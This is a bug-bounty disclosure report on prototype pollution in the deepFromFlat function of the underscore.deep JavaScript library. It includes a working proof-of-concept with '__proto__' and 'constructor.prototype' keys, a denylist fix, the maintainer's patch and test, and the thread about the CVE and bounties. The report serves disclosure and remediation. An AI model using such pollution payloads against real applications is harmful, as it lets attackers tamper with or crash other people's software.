the function deepFromFlat of underscore.deep is vulnerable to prototype pollution in clever/underscore.deep

Valid

Reported on

Feb 2nd 2022


Prototype Pollution in Clever/underscore.deep

Reported on Feb 2nd 2022 | Timothee Desurmont

Description

Vulnerability type: CWE-1321

Version 0.5.1 of underscore.deep is vulnerable to prototype pollution; the function deepFromFlat in underscore.deep.js do not check if the attribute resolves to the object prototype.

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones.

This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).

Impact

Common Consequences

ScopeImpact
IntegrityAn attacker can inject attributes that are used in other components.
AvailabilityAn attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.

Occurrences

Proof of Concept

  1. Create the following PoC file:
// poc_.js
const _ = require('underscore.deep');

console.log(`[+] Before prototype pollution : ${{}.polluted}`);
_.deepFromFlat({ "__proto__.polluted": true });
// _.deepFromFlat({ "constructor.prototype.polluted": true });
console.log(`[+] After prototype pollution : ${{}.polluted}`);
  1. Execute the following commands in terminal:
npm i underscore.deep # Install the package
node poc.js #  Run the PoC
  1. Check the Output of the PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : true

Proof of Fix

By using a denylist of dangerous attributes, this weakness can be eliminated.

  1. Replace the deepFromFlat function with the following code:
// underscore.deep.js
deepFromFlat: deepFromFlat = function(o) {
    var k, key, oo, part, parts, t;
    oo = {};
    t = void 0;
    parts = void 0;
    part = void 0;
    for (k in o) {
      t = oo;
      parts = k.split(".");
      key = parts.pop();
      
        while (parts.length) {
          part = parts.shift();

          //denylist of dengerous attributes
          if (["__proto__", "constructor", "prototype"].includes(part)) continue;
          
          t = t[part] = t[part] || {};
        }
        t[key] = o[k];
    }
    return oo;
  }
  1. Check the Output of the PoC file:
[+] Before prototype pollution : undefined
[+] After prototype pollution : undefined

The vulnerability has been patched.

We are processing your report and will contact the clever/underscore.deep team within 24 hours. 2 years ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 years ago
We have contacted a member of the clever/underscore.deep team and are waiting to hear back 2 years ago
We have sent a follow up to the clever/underscore.deep team. We will try again in 7 days. 2 years ago
We have sent a second follow up to the clever/underscore.deep team. We will try again in 10 days. 2 years ago
We have sent a third and final follow up to the clever/underscore.deep team. This report is now considered stale. 2 years ago
Timothee
a year ago

Researcher


Hi @Admin, any update regarding this vulnerability finding, can we post the link to this private report on their Github page?

Jamie Slome
a year ago

Admin


Same as here as well :)

Timothee Desurmont modified the report
a year ago
a year ago
clever/underscore.deep maintainer has acknowledged this report a year ago
Mark Cabanero
a year ago

Maintainer


Hi there! We're going to be looking into this further. Stay tuned.

Mark Cabanero
a year ago

Maintainer


First off, thank you for reaching out and submitting a patch. I believe I've had to tweak a few things to get the library working for Node v12: https://github.com/Clever/underscore.deep/pull/30.

Second, I've attached my patch below.

diff --git a/test/deepFromFlat.coffee b/test/deepFromFlat.coffee
index 2579672..4630320 100644
--- a/test/deepFromFlat.coffee
+++ b/test/deepFromFlat.coffee
@@ -20,3 +20,13 @@ describe '_.deepFromFlat', ->
   _(tests).each (test) ->
     it "deepens #{JSON.stringify test.input}", ->
       assert.deepEqual _.deepFromFlat(test.input), test.output
+
+  it "does not merge special `Object` properties", ->
+    _.deepFromFlat({ "__proto__.polluted1": true })
+    _.deepFromFlat({ "constructor.prototype.polluted2": true })
+    p1 = {}.polluted1
+    p2 = {}.polluted2
+    assert.strictEqual(p1, undefined)
+    assert.strictEqual(p2, undefined)
+    delete {}.polluted1
+    delete {}.polluted2
diff --git a/underscore.deep.coffee b/underscore.deep.coffee
index cae9019..7114ea4 100644
--- a/underscore.deep.coffee
+++ b/underscore.deep.coffee
@@ -136,6 +136,7 @@ module.exports =
       key = parts.pop()
       while parts.length
         part = parts.shift()
+        continue if part in ["__proto__", "constructor", "prototype"]
         t = t[part] = t[part] or {}
       t[key] = o[k]
     oo

I believe this covers the prototype pollution case while sticking to the CoffeeScript conventions. Some questions that are top of mind, though:

Q1: Can you apply this patch to your local branch and confirm the tests pass? Can you confirm that disabling the newly added line of protection causes the test to fail? Q2: Are there other keywords that we should be wary of? Or does covering prototype shield from other keywords being modified?

I'll do some additional research for this to validate, but again, thank you for reaching out.

Timothee
a year ago

Researcher


Hi Mark,

Q1: yes the deepFromFlat test pass when I apply the patch, and fails without it.

Q2: no you should be pretty much covered with these 3 keywords.

I can recommend you the following links for your research:

Timothee
a year ago

Researcher


I missed something,

Replace these two lines in your test file:

delete {}.polluted1
delete {}.polluted2

By the following:

delete Object.prototype.polluted1
delete Object.prototype.polluted2
Mark Cabanero
a year ago

Maintainer


Cheers! I'll make sure to apply that to the patch, and work on the draft security advisory, with you as invited. I'm going to take the username of @Sampaguitas to be the one to invite.

Two additional questions: Q1: Have you filed a CVE for this yet? Q2: What's the email associated with your HackerOne account? We would like to invite you there and report the bug there so that we can reward a bounty for finding this for us.

Mark Cabanero
a year ago

Maintainer


Q1 I've answered for myself, it'll go out with the Security Advisory that I'll be publishing soon. Q2 is still open.

Timothee
a year ago

Researcher


Thanks Mark, I will drop you an email

Jamie Slome
a year ago

Admin


@maintainer - do you still require a CVE? We can assign and publish this on your behalf. Otherwise, could you let me know the CVE ID and we will add it to the report?

Mark Cabanero
a year ago

Maintainer


Jamie, we've requested a CVE via GitHub: https://github.com/Clever/underscore.deep/security/advisories/GHSA-8j79-hfj5-f2xm. Not sure when that will go live, but I'll reach out when it does.

Mark Cabanero assigned a CVE to this report a year ago
Mark Cabanero
a year ago

Maintainer


Seems like GitHub just got back to us, the CVE is CVE-2022-31106, which shows up on https://github.com/Clever/underscore.deep/security/advisories/GHSA-8j79-hfj5-f2xm. I can't change that on the right-hand sidebar, so I'll leave that to you Jamie.

Mark Cabanero validated this vulnerability a year ago
Timothee Desurmont has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Mark Cabanero marked this as fixed in 0.5.3 with commit b5e109 a year ago
Timothee Desurmont has been awarded the fix bounty
This vulnerability will not receive a CVE
Timothee
a year ago

Researcher


Hi @Mark, That is great ! I have resubmitted the report on h1 as you suggested, But could not find the proper vulnerability type or scope in the drop down options... Let me know if you would like me to edit. here is the link: https://hackerone.com/bugs?report_id=1618405

to join this conversation